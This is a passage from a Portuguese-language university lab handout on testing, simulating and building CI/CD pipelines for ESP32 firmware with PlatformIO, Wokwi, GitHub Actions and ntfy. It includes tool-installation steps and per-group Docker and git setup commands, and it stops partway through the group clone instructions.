Laboratório 11
Checklist — testes, simulação e CI/CD do firmware
- Lógica da câmara separada em
lib/camara_logica(sem Arduino) e o firmware compilando emesp32deveci(T1) -
pio test -e native: pelo menos 15 testes Unity da lógica, todos passando, com relatório JUnit (T2) -
wokwi-cli:lintdo diagrama limpo e os testes Unity rodando no ESP32 simulado (T3) - Cenário de integração no
wokwi-cli(modos pot e auto) e PWM medido no VCD do analisador lógico (T4) - Workflow do GitHub Actions com testes, firmware e simulação, badge no
README.md(T5) - Notificações no ntfy (sucesso, falha e release) e release com o
firmware.binao criar a tagv1.0.0(T6) - Previsões P1–P4 respondidas no
README.md - Nenhum
push --force; cada tarefa num commitTn: - Logout do Git e do
ghno computador do laboratório
T1…T6 = 100 pts (esta aula não tem desafios): T1 10 · T2 20 · T3 15 · T4 20 · T5 15 ·
T6 20. O autograder normaliza para 0–10. Vale o commit Tn: mais recente de cada tarefa.
Confira o ambiente (faça a configuração uma vez por máquina; a verificação, a cada aula):
Verificação rápida das versões instaladas:
git -v & gh --version & code -v & py --version & pio --version & wokwi-cli -V & wsl --version & docker --version
Verificação rápida de autenticação e alias:
git config --get-regexp "^(user|alias)\." & gh auth status & code --list-extensions --profile "ESP32IO"
Adicionar o comando git conferir:
git config --global alias.conferir "!f() { r=$(pwd -W 2>/dev/null || pwd); echo raiz do repositorio: $r; test -z $GIT_PREFIX || echo ATENCAO: o terminal esta em $GIT_PREFIX, fora da raiz. Antes do git add, rode: cd /d $r; test $# -eq 0 && return; for a in $@; do if [ -e $a ]; then echo ok $a; else echo FALTA $a; fi; done; echo == mudancas desde o ultimo commit:; git status --short --ignored -- $@; }; f"
Configuração do ambiente de desenvolvimento
- Git SCM
- GitHub CLI
- Python
- VS Code
- PlatformIO
- Wokwi
- Drivers
- Docker
- GCC
O Git é a ferramenta de gerenciamento de código-fonte mais utilizada por desenvolvedores profissionais.
O GitHub CLI traz o GitHub para o seu terminal.
O GitHub CLI é uma ferramenta de linha de comando que permite interagir com o GitHub diretamente pelo terminal. Está disponível para Windows, macOS e Linux.
winget install --id GitHub.cli -e --source wingetStatus de login do GitHub CLI:
gh auth status
O Python é uma linguagem de programação que permite trabalhar com rapidez e integrar sistemas de forma mais eficaz.
O Python pode ser instalado via winget:
winget install Python.Python.3.14Verifique a versão instalada:
py --version && python --version && pip --versionInstale as dependências utilizadas no curso:
py -m pip install bcrypt
Visual Studio Code: IDE e Editor de Código para Desenvolvimento de Software.
O VS Code é um editor de código-fonte gratuito criado pela Microsoft para Windows, Linux e macOS. Inclui suporte para depuração, controle Git integrado, realce de sintaxe, conclusão inteligente de código, snippets e refatoração de código.
winget install --id Microsoft.VisualStudioCode -e --source wingetExtensões instaladas do Visual Studio Code para o perfil ESP32IO:
code --list-extensions --profile "ESP32IO"Configurar o terminal do VS Code. No arquivo
.vscode/settings.json:{"terminal.integrated.defaultProfile.windows": "Command Prompt"}
PlatformIO IDE para VSCode: Sua porta de entrada para a excelência no desenvolvimento de software embarcado.
PlatformIO IDE para VSCode Desbloqueie o verdadeiro potencial do desenvolvimento de software embarcado com o ecossistema colaborativo do PlatformIO, adotando princípios declarativos, metodologias orientadas a testes e toolchains modernas para um sucesso incomparável.
code --install-extension platformio.platformio-ide --profile "ESP32IO"Acrescente
%USERPROFILE%\.platformio\penv\Scriptsao PATH do usuário (rode uma vez só):powershell -NoProfile -Command "[Environment]::SetEnvironmentVariable('Path', [Environment]::GetEnvironmentVariable('Path','User') + ';' + $env:USERPROFILE + '\.platformio\penv\Scripts', 'User')"Inicie o projeto no PlatformIO (Arduino):
pio project init -b esp32dev -O "framework=arduino" -O "monitor_speed=115200" --ide vscode --sample-codeInicie o projeto no PlatformIO (Espressif):
pio project init -b esp32dev -O "framework=espidf" -O "monitor_speed=115200" --ide vscode --sample-codeSystem Prune:
pio system prune -f
Wokwi para VSCode: Simulador de sistemas embarcados e IoT com suporte para ESP32.
Wokwi para VSCode executa a simulação dentro do VS Code, utilizando os binários compilados pelo PlatformIO.
code --install-extension wokwi.wokwi-vscode --profile "ESP32IO"Wokwi CLI: Baixe via GitHub.
curl -L -o "%USERPROFILE%\.platformio\penv\Scripts\wokwi-cli.exe" "https://github.com/wokwi/wokwi-cli/releases/latest/download/wokwi-cli-win-x64.exe"wokwi-cli -hObtenha seu token em https://wokwi.com/dashboard/ci:
setx WOKWI_CLI_TOKEN "wok_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
- Conecte o ESP32 ao computador via USB.
- Abra o Gerenciador de Dispositivos (clique com o botão direito no Menu Iniciar → Gerenciador de Dispositivos).
- Expanda a seção Portas (COM e LPT).
- Procure por um dispositivo similar a:
- Silicon Labs CP210x USB to UART Bridge (COMx)
- Driver Windows CH340/CH341 USB para porta serial
- FTDI ou “Dispositivo Serial USB (COMx)”
Anote o número da porta (ex: COM4, COM6, COM12). Se não aparecer nenhuma porta nova, o driver não está instalado. Baixe o driver correspondente (CP210x ou CH340) no site do fabricante da placa.
Instale o esptool e identifique o chip:
pip install esptoolesptool chip-id
Docker Desktop & WSL 2: O Docker Desktop no Windows 11 utiliza a arquitetura do WSL 2 para executar containers Linux nativamente com alta performance.
Habilitação e Atualização do WSL 2:
wsl --installwsl --update && wsl --set-default-version 2Instalação do Docker Desktop via Winget:
winget install --id Docker.DockerDesktop -eConfirme no terminal integrado do VS Code:
wsl --version && docker --version && docker compose versionTeste o Docker:
docker run hello-world
WinLibs (GCC + MinGW-w64): Compilador C/C++ nativo para Windows, usado pelo PlatformIO no ambiente native.
O
pio test -e nativecompila os testes com ogcc/g++do computador, e o PlatformIO não instala esse compilador. Sem ele, aparece o erro'gcc' não é reconhecido como um comando interno.WinLibs: baixe a versão mais recente (x86_64, POSIX, UCRT) via GitHub. É portátil e não precisa de administrador.
powershell -NoProfile -Command "$a = (Invoke-RestMethod https://api.github.com/repos/brechtsanders/winlibs_mingw/releases/latest).assets | Where-Object { $_.name -like 'winlibs-x86_64-posix-seh-gcc-*-mingw-w64ucrt-*.zip' -and $_.name -notlike '*llvm*' } | Select-Object -First 1; curl.exe -L -o (Join-Path $env:TEMP 'winlibs.zip') $a.browser_download_url"Descompacte em
%USERPROFILE%\mingw64e apague o.zip:tar -xf "%TEMP%\winlibs.zip" -C "%USERPROFILE%" && del "%TEMP%\winlibs.zip"Acrescente
%USERPROFILE%\mingw64\binao PATH do usuário (rode uma vez só):powershell -NoProfile -Command "[Environment]::SetEnvironmentVariable('Path', [Environment]::GetEnvironmentVariable('Path','User') + ';' + $env:USERPROFILE + '\mingw64\bin', 'User')"Feche e abra o VS Code de novo para ele ler o novo PATH. Depois confira:
gcc --version
Precisa do Docker Desktop aberto e do Python 3. Os comandos são para o Prompt de Comando (cmd) do Windows.
docker desktop start
Atenção: desligue tudo o que estiver rodando no Docker (outros LABs, outros projetos), para não haver conflito de portas nem falta de memória:
for /f "delims=" %i in ('docker compose ls -q') do docker compose -p %i down
Disciplina: ELT85B - IoT Industrial.
- A
- B
- C
- D
- E
- F
- G
- H
- I
- J
- K
- L
- M
- X
1. Crie os atalhos (valem só nesta janela do cmd; abriu outra, rode de novo):
set "IOT_REPO=%USERPROFILE%\ELT85BN21\lab11-grupo-a"
set "IOT_GEN=%IOT_REPO%\docker\gen_iot_aluno.py"
set "IOT_DIR=%IOT_REPO%\docker\lab11-a"
2. Gere o LAB IoT do grupo em docker\lab11-a:
py "%IOT_GEN%" --disciplina elt85b --lab lab11 --grupo a --sem-microbin --sem-fuxa --captura --saida "%IOT_DIR%"
3. Suba os containers (a primeira vez demora):
cd /d "%IOT_DIR%" && docker compose up -d --build
4. Abra o Portal: http://localhost/
start http://localhost/
5. Limpar (voltar ao original) — só os fluxos (mantém os nós instalados e os bancos):
(cd /d "%IOT_DIR%" && docker compose stop lab11-a-nodered && (del /q "data\lab11-a\flows.json" "data\lab11-a\flows_cred.json" "data\lab11-a\.flows*.backup" 2>nul & docker compose start lab11-a-nodered))
1. Crie os atalhos (valem só nesta janela do cmd; abriu outra, rode de novo):
set "IOT_REPO=%USERPROFILE%\ELT85BN21\lab11-grupo-b"
set "IOT_GEN=%IOT_REPO%\docker\gen_iot_aluno.py"
set "IOT_DIR=%IOT_REPO%\docker\lab11-b"
2. Gere o LAB IoT do grupo em docker\lab11-b:
py "%IOT_GEN%" --disciplina elt85b --lab lab11 --grupo b --sem-microbin --sem-fuxa --captura --saida "%IOT_DIR%"
3. Suba os containers (a primeira vez demora):
cd /d "%IOT_DIR%" && docker compose up -d --build
4. Abra o Portal: http://localhost/
start http://localhost/
5. Limpar (voltar ao original) — só os fluxos (mantém os nós instalados e os bancos):
(cd /d "%IOT_DIR%" && docker compose stop lab11-b-nodered && (del /q "data\lab11-b\flows.json" "data\lab11-b\flows_cred.json" "data\lab11-b\.flows*.backup" 2>nul & docker compose start lab11-b-nodered))
1. Crie os atalhos (valem só nesta janela do cmd; abriu outra, rode de novo):
set "IOT_REPO=%USERPROFILE%\ELT85BN21\lab11-grupo-c"
set "IOT_GEN=%IOT_REPO%\docker\gen_iot_aluno.py"
set "IOT_DIR=%IOT_REPO%\docker\lab11-c"
2. Gere o LAB IoT do grupo em docker\lab11-c:
py "%IOT_GEN%" --disciplina elt85b --lab lab11 --grupo c --sem-microbin --sem-fuxa --captura --saida "%IOT_DIR%"
3. Suba os containers (a primeira vez demora):
cd /d "%IOT_DIR%" && docker compose up -d --build
4. Abra o Portal: http://localhost/
start http://localhost/
5. Limpar (voltar ao original) — só os fluxos (mantém os nós instalados e os bancos):
(cd /d "%IOT_DIR%" && docker compose stop lab11-c-nodered && (del /q "data\lab11-c\flows.json" "data\lab11-c\flows_cred.json" "data\lab11-c\.flows*.backup" 2>nul & docker compose start lab11-c-nodered))
1. Crie os atalhos (valem só nesta janela do cmd; abriu outra, rode de novo):
set "IOT_REPO=%USERPROFILE%\ELT85BN21\lab11-grupo-d"
set "IOT_GEN=%IOT_REPO%\docker\gen_iot_aluno.py"
set "IOT_DIR=%IOT_REPO%\docker\lab11-d"
2. Gere o LAB IoT do grupo em docker\lab11-d:
py "%IOT_GEN%" --disciplina elt85b --lab lab11 --grupo d --sem-microbin --sem-fuxa --captura --saida "%IOT_DIR%"
3. Suba os containers (a primeira vez demora):
cd /d "%IOT_DIR%" && docker compose up -d --build
4. Abra o Portal: http://localhost/
start http://localhost/
5. Limpar (voltar ao original) — só os fluxos (mantém os nós instalados e os bancos):
(cd /d "%IOT_DIR%" && docker compose stop lab11-d-nodered && (del /q "data\lab11-d\flows.json" "data\lab11-d\flows_cred.json" "data\lab11-d\.flows*.backup" 2>nul & docker compose start lab11-d-nodered))
1. Crie os atalhos (valem só nesta janela do cmd; abriu outra, rode de novo):
set "IOT_REPO=%USERPROFILE%\ELT85BN21\lab11-grupo-e"
set "IOT_GEN=%IOT_REPO%\docker\gen_iot_aluno.py"
set "IOT_DIR=%IOT_REPO%\docker\lab11-e"
2. Gere o LAB IoT do grupo em docker\lab11-e:
py "%IOT_GEN%" --disciplina elt85b --lab lab11 --grupo e --sem-microbin --sem-fuxa --captura --saida "%IOT_DIR%"
3. Suba os containers (a primeira vez demora):
cd /d "%IOT_DIR%" && docker compose up -d --build
4. Abra o Portal: http://localhost/
start http://localhost/
5. Limpar (voltar ao original) — só os fluxos (mantém os nós instalados e os bancos):
(cd /d "%IOT_DIR%" && docker compose stop lab11-e-nodered && (del /q "data\lab11-e\flows.json" "data\lab11-e\flows_cred.json" "data\lab11-e\.flows*.backup" 2>nul & docker compose start lab11-e-nodered))
1. Crie os atalhos (valem só nesta janela do cmd; abriu outra, rode de novo):
set "IOT_REPO=%USERPROFILE%\ELT85BN21\lab11-grupo-f"
set "IOT_GEN=%IOT_REPO%\docker\gen_iot_aluno.py"
set "IOT_DIR=%IOT_REPO%\docker\lab11-f"
2. Gere o LAB IoT do grupo em docker\lab11-f:
py "%IOT_GEN%" --disciplina elt85b --lab lab11 --grupo f --sem-microbin --sem-fuxa --captura --saida "%IOT_DIR%"
3. Suba os containers (a primeira vez demora):
cd /d "%IOT_DIR%" && docker compose up -d --build
4. Abra o Portal: http://localhost/
start http://localhost/
5. Limpar (voltar ao original) — só os fluxos (mantém os nós instalados e os bancos):
(cd /d "%IOT_DIR%" && docker compose stop lab11-f-nodered && (del /q "data\lab11-f\flows.json" "data\lab11-f\flows_cred.json" "data\lab11-f\.flows*.backup" 2>nul & docker compose start lab11-f-nodered))
1. Crie os atalhos (valem só nesta janela do cmd; abriu outra, rode de novo):
set "IOT_REPO=%USERPROFILE%\ELT85BN21\lab11-grupo-g"
set "IOT_GEN=%IOT_REPO%\docker\gen_iot_aluno.py"
set "IOT_DIR=%IOT_REPO%\docker\lab11-g"
2. Gere o LAB IoT do grupo em docker\lab11-g:
py "%IOT_GEN%" --disciplina elt85b --lab lab11 --grupo g --sem-microbin --sem-fuxa --captura --saida "%IOT_DIR%"
3. Suba os containers (a primeira vez demora):
cd /d "%IOT_DIR%" && docker compose up -d --build
4. Abra o Portal: http://localhost/
start http://localhost/
5. Limpar (voltar ao original) — só os fluxos (mantém os nós instalados e os bancos):
(cd /d "%IOT_DIR%" && docker compose stop lab11-g-nodered && (del /q "data\lab11-g\flows.json" "data\lab11-g\flows_cred.json" "data\lab11-g\.flows*.backup" 2>nul & docker compose start lab11-g-nodered))
1. Crie os atalhos (valem só nesta janela do cmd; abriu outra, rode de novo):
set "IOT_REPO=%USERPROFILE%\ELT85BN21\lab11-grupo-h"
set "IOT_GEN=%IOT_REPO%\docker\gen_iot_aluno.py"
set "IOT_DIR=%IOT_REPO%\docker\lab11-h"
2. Gere o LAB IoT do grupo em docker\lab11-h:
py "%IOT_GEN%" --disciplina elt85b --lab lab11 --grupo h --sem-microbin --sem-fuxa --captura --saida "%IOT_DIR%"
3. Suba os containers (a primeira vez demora):
cd /d "%IOT_DIR%" && docker compose up -d --build
4. Abra o Portal: http://localhost/
start http://localhost/
5. Limpar (voltar ao original) — só os fluxos (mantém os nós instalados e os bancos):
(cd /d "%IOT_DIR%" && docker compose stop lab11-h-nodered && (del /q "data\lab11-h\flows.json" "data\lab11-h\flows_cred.json" "data\lab11-h\.flows*.backup" 2>nul & docker compose start lab11-h-nodered))
1. Crie os atalhos (valem só nesta janela do cmd; abriu outra, rode de novo):
set "IOT_REPO=%USERPROFILE%\ELT85BN21\lab11-grupo-i"
set "IOT_GEN=%IOT_REPO%\docker\gen_iot_aluno.py"
set "IOT_DIR=%IOT_REPO%\docker\lab11-i"
2. Gere o LAB IoT do grupo em docker\lab11-i:
py "%IOT_GEN%" --disciplina elt85b --lab lab11 --grupo i --sem-microbin --sem-fuxa --captura --saida "%IOT_DIR%"
3. Suba os containers (a primeira vez demora):
cd /d "%IOT_DIR%" && docker compose up -d --build
4. Abra o Portal: http://localhost/
start http://localhost/
5. Limpar (voltar ao original) — só os fluxos (mantém os nós instalados e os bancos):
(cd /d "%IOT_DIR%" && docker compose stop lab11-i-nodered && (del /q "data\lab11-i\flows.json" "data\lab11-i\flows_cred.json" "data\lab11-i\.flows*.backup" 2>nul & docker compose start lab11-i-nodered))
1. Crie os atalhos (valem só nesta janela do cmd; abriu outra, rode de novo):
set "IOT_REPO=%USERPROFILE%\ELT85BN21\lab11-grupo-j"
set "IOT_GEN=%IOT_REPO%\docker\gen_iot_aluno.py"
set "IOT_DIR=%IOT_REPO%\docker\lab11-j"
2. Gere o LAB IoT do grupo em docker\lab11-j:
py "%IOT_GEN%" --disciplina elt85b --lab lab11 --grupo j --sem-microbin --sem-fuxa --captura --saida "%IOT_DIR%"
3. Suba os containers (a primeira vez demora):
cd /d "%IOT_DIR%" && docker compose up -d --build
4. Abra o Portal: http://localhost/
start http://localhost/
5. Limpar (voltar ao original) — só os fluxos (mantém os nós instalados e os bancos):
(cd /d "%IOT_DIR%" && docker compose stop lab11-j-nodered && (del /q "data\lab11-j\flows.json" "data\lab11-j\flows_cred.json" "data\lab11-j\.flows*.backup" 2>nul & docker compose start lab11-j-nodered))
1. Crie os atalhos (valem só nesta janela do cmd; abriu outra, rode de novo):
set "IOT_REPO=%USERPROFILE%\ELT85BN21\lab11-grupo-k"
set "IOT_GEN=%IOT_REPO%\docker\gen_iot_aluno.py"
set "IOT_DIR=%IOT_REPO%\docker\lab11-k"
2. Gere o LAB IoT do grupo em docker\lab11-k:
py "%IOT_GEN%" --disciplina elt85b --lab lab11 --grupo k --sem-microbin --sem-fuxa --captura --saida "%IOT_DIR%"
3. Suba os containers (a primeira vez demora):
cd /d "%IOT_DIR%" && docker compose up -d --build
4. Abra o Portal: http://localhost/
start http://localhost/
5. Limpar (voltar ao original) — só os fluxos (mantém os nós instalados e os bancos):
(cd /d "%IOT_DIR%" && docker compose stop lab11-k-nodered && (del /q "data\lab11-k\flows.json" "data\lab11-k\flows_cred.json" "data\lab11-k\.flows*.backup" 2>nul & docker compose start lab11-k-nodered))
1. Crie os atalhos (valem só nesta janela do cmd; abriu outra, rode de novo):
set "IOT_REPO=%USERPROFILE%\ELT85BN21\lab11-grupo-l"
set "IOT_GEN=%IOT_REPO%\docker\gen_iot_aluno.py"
set "IOT_DIR=%IOT_REPO%\docker\lab11-l"
2. Gere o LAB IoT do grupo em docker\lab11-l:
py "%IOT_GEN%" --disciplina elt85b --lab lab11 --grupo l --sem-microbin --sem-fuxa --captura --saida "%IOT_DIR%"
3. Suba os containers (a primeira vez demora):
cd /d "%IOT_DIR%" && docker compose up -d --build
4. Abra o Portal: http://localhost/
start http://localhost/
5. Limpar (voltar ao original) — só os fluxos (mantém os nós instalados e os bancos):
(cd /d "%IOT_DIR%" && docker compose stop lab11-l-nodered && (del /q "data\lab11-l\flows.json" "data\lab11-l\flows_cred.json" "data\lab11-l\.flows*.backup" 2>nul & docker compose start lab11-l-nodered))
1. Crie os atalhos (valem só nesta janela do cmd; abriu outra, rode de novo):
set "IOT_REPO=%USERPROFILE%\ELT85BN21\lab11-grupo-m"
set "IOT_GEN=%IOT_REPO%\docker\gen_iot_aluno.py"
set "IOT_DIR=%IOT_REPO%\docker\lab11-m"
2. Gere o LAB IoT do grupo em docker\lab11-m:
py "%IOT_GEN%" --disciplina elt85b --lab lab11 --grupo m --sem-microbin --sem-fuxa --captura --saida "%IOT_DIR%"
3. Suba os containers (a primeira vez demora):
cd /d "%IOT_DIR%" && docker compose up -d --build
4. Abra o Portal: http://localhost/
start http://localhost/
5. Limpar (voltar ao original) — só os fluxos (mantém os nós instalados e os bancos):
(cd /d "%IOT_DIR%" && docker compose stop lab11-m-nodered && (del /q "data\lab11-m\flows.json" "data\lab11-m\flows_cred.json" "data\lab11-m\.flows*.backup" 2>nul & docker compose start lab11-m-nodered))
1. Crie os atalhos (valem só nesta janela do cmd; abriu outra, rode de novo):
set "IOT_REPO=%USERPROFILE%\ELT85BN21\lab11-grupo-x"
set "IOT_GEN=%IOT_REPO%\docker\gen_iot_aluno.py"
set "IOT_DIR=%IOT_REPO%\docker\lab11-x"
2. Gere o LAB IoT do grupo em docker\lab11-x:
py "%IOT_GEN%" --disciplina elt85b --lab lab11 --grupo x --sem-microbin --sem-fuxa --captura --saida "%IOT_DIR%"
3. Suba os containers (a primeira vez demora):
cd /d "%IOT_DIR%" && docker compose up -d --build
4. Abra o Portal: http://localhost/
start http://localhost/
5. Limpar (voltar ao original) — só os fluxos (mantém os nós instalados e os bancos):
(cd /d "%IOT_DIR%" && docker compose stop lab11-x-nodered && (del /q "data\lab11-x\flows.json" "data\lab11-x\flows_cred.json" "data\lab11-x\.flows*.backup" 2>nul & docker compose start lab11-x-nodered))
Outros comandos (credenciais, logs, atualizar, limpar paleta/FUXA, zerar tudo) na versão completa.
Até o Lab 09, um firmware "funcionava" quando alguém o rodava no Wokwi, girava o
potenciômetro, mexia no slider do DHT22 e conferia o serial. Cada mudança no código pedia o
mesmo ritual, e ninguém garantia que uma correção hoje não quebrasse o modo auto de ontem.
Nesta aula, o firmware da câmara do Lab 07 passa a ser verificado por máquina, a cada
push:
- a lógica (setpoint, banda morta, PWM, histerese, comandos, JSON) sai do
main.cpppara uma biblioteca sem Arduino e ganha testes unitários que rodam no PC em 1 s (pio test); - o Wokwi vira uma bancada automática: o
wokwi-cliroda o firmware sem interface, mexe nos componentes por um cenário YAML e grava o analisador lógico em arquivo; - o GitHub Actions junta tudo num pipeline e, numa tag
v*, publica ofirmware.bincomo release; - o ntfy avisa no celular quando o pipeline fica verde, vermelho ou publica uma versão.
Objetivos
- Separar decisão de periférico para tornar o firmware testável sem hardware.
- Escrever testes unitários com o Unity e rodá-los com o
pio test, no PC e no ESP32. - Usar o
wokwi-cli:lintdo diagrama,--expect-text/--fail-text, cenários (set-control,write-serial,wait-serial,expect-pin) e VCD. - Montar um pipeline de CI/CD no GitHub Actions: jobs, dependências, cache, artefatos, secrets e release.
- Notificar o resultado com o ntfy, sem expor tokens nem abrir brecha para injeção de comandos.
Material
- VS Code + PlatformIO (o
piono terminalcmddo VS Code) + extensão Wokwi. wokwi-cli(a versão mais recente) e um token do Wokwi CI (wokwi.com/dashboard/ci). Cada simulação gasta minutos da cota do plano (confira no painel): não deixe o CI rodando em loop.- Uma conta no GitHub, com o repositório do grupo.
- ntfy: o app no celular (Android/iOS) ou o navegador. Use o servidor do LAB IoT, com o
tópico e o token do grupo, ou o
ntfy.shpúblico, com um tópico difícil de adivinhar.
| Teste | Onde roda | Precisa de | Tempo |
|---|---|---|---|
pio test -e native | PC / runner do GitHub | só o gcc | ~1 s |
wokwi-cli lint | PC / runner | nada (nem token) | ~1 s |
| Unity no ESP32 simulado | servidores do Wokwi | token do Wokwi | ~10 s |
| Cenário de integração + VCD | servidores do Wokwi | token do Wokwi | ~30 s |
Os testes no PC são a base: rápidos, sem cota e sem rede. A simulação pega o que o PC não vê: o compilador Xtensa, o LEDC, o ADC e a temporização do firmware inteiro.
Clonar o repositório do grupo
- A
- B
- C
- D
- E
- F
- G
- H
- I
- J
- K
- L
- M
- X
- P
- N
- Grupo: Grupo-A (slug:
grupo-a) - Repositório: https://github.com/ELT85B-N21-2026-2/lab11-grupo-a
- Commits: https://github.com/ELT85B-N21-2026-2/lab11-grupo-a/commits/main/
- Acessos: ACESSO-LAB11.md
1. Crie e entre na pasta-mãe da disciplina:
mkdir "%USERPROFILE%\ELT85BN21" & cd /d "%USERPROFILE%\ELT85BN21"
2. Clone e entre no repositório do laboratório:
git clone https://github.com/ELT85B-N21-2026-2/lab11-grupo-a.git && cd lab11-grupo-a
3. Abra o conteúdo do repositório no perfil ESP32IO do VS Code e compile:
cd /d "%USERPROFILE%\ELT85BN21\lab11-grupo-a" && code . --profile "ESP32IO"
- Grupo: Grupo-B (slug:
grupo-b) - Repositório: https://github.com/ELT85B-N21-2026-2/lab11-grupo-b
- Commits: https://github.com/ELT85B-N21-2026-2/lab11-grupo-b/commits/main/
- Acessos: ACESSO-LAB11.md
1. Crie e entre na pasta-mãe da disciplina:
mkdir "%USERPROFILE%\ELT85BN21" & cd /d "%USERPROFILE%\ELT85BN21"
2. Clone e entre no repositório do laboratório:
git clone https://github.com/ELT85B-N21-2026-2/lab11-grupo-b.git && cd lab11-grupo-b
3. Abra o conteúdo do repositório no perfil ESP32IO do VS Code e compile:
cd /d "%USERPROFILE%\ELT85BN21\lab11-grupo-b" && code . --profile "ESP32IO"
- Grupo: Grupo-C (slug:
grupo-c) - Repositório: https://github.com/ELT85B-N21-2026-2/lab11-grupo-c
- Commits: https://github.com/ELT85B-N21-2026-2/lab11-grupo-c/commits/main/
- Acessos: ACESSO-LAB11.md
1. Crie e entre na pasta-mãe da disciplina:
mkdir "%USERPROFILE%\ELT85BN21" & cd /d "%USERPROFILE%\ELT85BN21"
2. Clone e entre no repositório do laboratório:
git clone https://github.com/ELT85B-N21-2026-2/lab11-grupo-c.git && cd lab11-grupo-c
3. Abra o conteúdo do repositório no perfil ESP32IO do VS Code e compile:
cd /d "%USERPROFILE%\ELT85BN21\lab11-grupo-c" && code . --profile "ESP32IO"
- Grupo: Grupo-D (slug:
grupo-d) - Repositório: https://github.com/ELT85B-N21-2026-2/lab11-grupo-d
- Commits: https://github.com/ELT85B-N21-2026-2/lab11-grupo-d/commits/main/
- Acessos: ACESSO-LAB11.md
1. Crie e entre na pasta-mãe da disciplina:
mkdir "%USERPROFILE%\ELT85BN21" & cd /d "%USERPROFILE%\ELT85BN21"
2. Clone e entre no repositório do laboratório:
git clone https://github.com/ELT85B-N21-2026-2/lab11-grupo-d.git && cd lab11-grupo-d
3. Abra o conteúdo do repositório no perfil ESP32IO do VS Code e compile:
cd /d "%USERPROFILE%\ELT85BN21\lab11-grupo-d" && code . --profile "ESP32IO"
- Grupo: Grupo-E (slug:
grupo-e) - Repositório: https://github.com/ELT85B-N21-2026-2/lab11-grupo-e
- Commits: https://github.com/ELT85B-N21-2026-2/lab11-grupo-e/commits/main/
- Acessos: ACESSO-LAB11.md
1. Crie e entre na pasta-mãe da disciplina:
mkdir "%USERPROFILE%\ELT85BN21" & cd /d "%USERPROFILE%\ELT85BN21"
2. Clone e entre no repositório do laboratório:
git clone https://github.com/ELT85B-N21-2026-2/lab11-grupo-e.git && cd lab11-grupo-e
3. Abra o conteúdo do repositório no perfil ESP32IO do VS Code e compile:
cd /d "%USERPROFILE%\ELT85BN21\lab11-grupo-e" && code . --profile "ESP32IO"
- Grupo: Grupo-F (slug:
grupo-f) - Repositório: https://github.com/ELT85B-N21-2026-2/lab11-grupo-f
- Commits: https://github.com/ELT85B-N21-2026-2/lab11-grupo-f/commits/main/
- Acessos: ACESSO-LAB11.md
1. Crie e entre na pasta-mãe da disciplina:
mkdir "%USERPROFILE%\ELT85BN21" & cd /d "%USERPROFILE%\ELT85BN21"
2. Clone e entre no repositório do laboratório:
git clone https://github.com/ELT85B-N21-2026-2/lab11-grupo-f.git && cd lab11-grupo-f
3. Abra o conteúdo do repositório no perfil ESP32IO do VS Code e compile:
cd /d "%USERPROFILE%\ELT85BN21\lab11-grupo-f" && code . --profile "ESP32IO"
- Grupo: Grupo-G (slug:
grupo-g) - Repositório: https://github.com/ELT85B-N21-2026-2/lab11-grupo-g
- Commits: https://github.com/ELT85B-N21-2026-2/lab11-grupo-g/commits/main/
- Acessos: ACESSO-LAB11.md
1. Crie e entre na pasta-mãe da disciplina:
mkdir "%USERPROFILE%\ELT85BN21" & cd /d "%USERPROFILE%\ELT85BN21"
2. Clone e entre no repositório do laboratório:
git clone https://github.com/ELT85B-N21-2026-2/lab11-grupo-g.git && cd lab11-grupo-g
3. Abra o conteúdo do repositório no perfil ESP32IO do VS Code e compile:
cd /d "%USERPROFILE%\ELT85BN21\lab11-grupo-g" && code . --profile "ESP32IO"
- Grupo: Grupo-H (slug:
grupo-h) - Repositório: https://github.com/ELT85B-N21-2026-2/lab11-grupo-h
- Commits: https://github.com/ELT85B-N21-2026-2/lab11-grupo-h/commits/main/
- Acessos: ACESSO-LAB11.md
1. Crie e entre na pasta-mãe da disciplina:
mkdir "%USERPROFILE%\ELT85BN21" & cd /d "%USERPROFILE%\ELT85BN21"
2. Clone e entre no repositório do laboratório:
git clone https://github.com/ELT85B-N21-2026-2/lab11-grupo-h.git && cd lab11-grupo-h
3. Abra o conteúdo do repositório no perfil ESP32IO do VS Code e compile:
cd /d "%USERPROFILE%\ELT85BN21\lab11-grupo-h" && code . --profile "ESP32IO"
- Grupo: Grupo-I (slug:
grupo-i) - Repositório: https://github.com/ELT85B-N21-2026-2/lab11-grupo-i
- Commits: https://github.com/ELT85B-N21-2026-2/lab11-grupo-i/commits/main/
- Acessos: ACESSO-LAB11.md
1. Crie e entre na pasta-mãe da disciplina:
mkdir "%USERPROFILE%\ELT85BN21" & cd /d "%USERPROFILE%\ELT85BN21"
2. Clone e entre no repositório do laboratório:
git clone https://github.com/ELT85B-N21-2026-2/lab11-grupo-i.git && cd lab11-grupo-i
3. Abra o conteúdo do repositório no perfil ESP32IO do VS Code e compile:
cd /d "%USERPROFILE%\ELT85BN21\lab11-grupo-i" && code . --profile "ESP32IO"
- Grupo: Grupo-J (slug:
grupo-j) - Repositório: https://github.com/ELT85B-N21-2026-2/lab11-grupo-j
- Commits: https://github.com/ELT85B-N21-2026-2/lab11-grupo-j/commits/main/
- Acessos: ACESSO-LAB11.md
1. Crie e entre na pasta-mãe da disciplina:
mkdir "%USERPROFILE%\ELT85BN21" & cd /d "%USERPROFILE%\ELT85BN21"
2. Clone e entre no repositório do laboratório:
git clone https://github.com/ELT85B-N21-2026-2/lab11-grupo-j.git && cd lab11-grupo-j
3. Abra o conteúdo do repositório no perfil ESP32IO do VS Code e compile:
cd /d "%USERPROFILE%\ELT85BN21\lab11-grupo-j" && code . --profile "ESP32IO"
- Grupo: Grupo-K (slug:
grupo-k) - Repositório: https://github.com/ELT85B-N21-2026-2/lab11-grupo-k
- Commits: https://github.com/ELT85B-N21-2026-2/lab11-grupo-k/commits/main/
- Acessos: ACESSO-LAB11.md
1. Crie e entre na pasta-mãe da disciplina:
mkdir "%USERPROFILE%\ELT85BN21" & cd /d "%USERPROFILE%\ELT85BN21"
2. Clone e entre no repositório do laboratório:
git clone https://github.com/ELT85B-N21-2026-2/lab11-grupo-k.git && cd lab11-grupo-k
3. Abra o conteúdo do repositório no perfil ESP32IO do VS Code e compile:
cd /d "%USERPROFILE%\ELT85BN21\lab11-grupo-k" && code . --profile "ESP32IO"
- Grupo: Grupo-L (slug:
grupo-l) - Repositório: https://github.com/ELT85B-N21-2026-2/lab11-grupo-l
- Commits: https://github.com/ELT85B-N21-2026-2/lab11-grupo-l/commits/main/
- Acessos: ACESSO-LAB11.md
1. Crie e entre na pasta-mãe da disciplina:
mkdir "%USERPROFILE%\ELT85BN21" & cd /d "%USERPROFILE%\ELT85BN21"
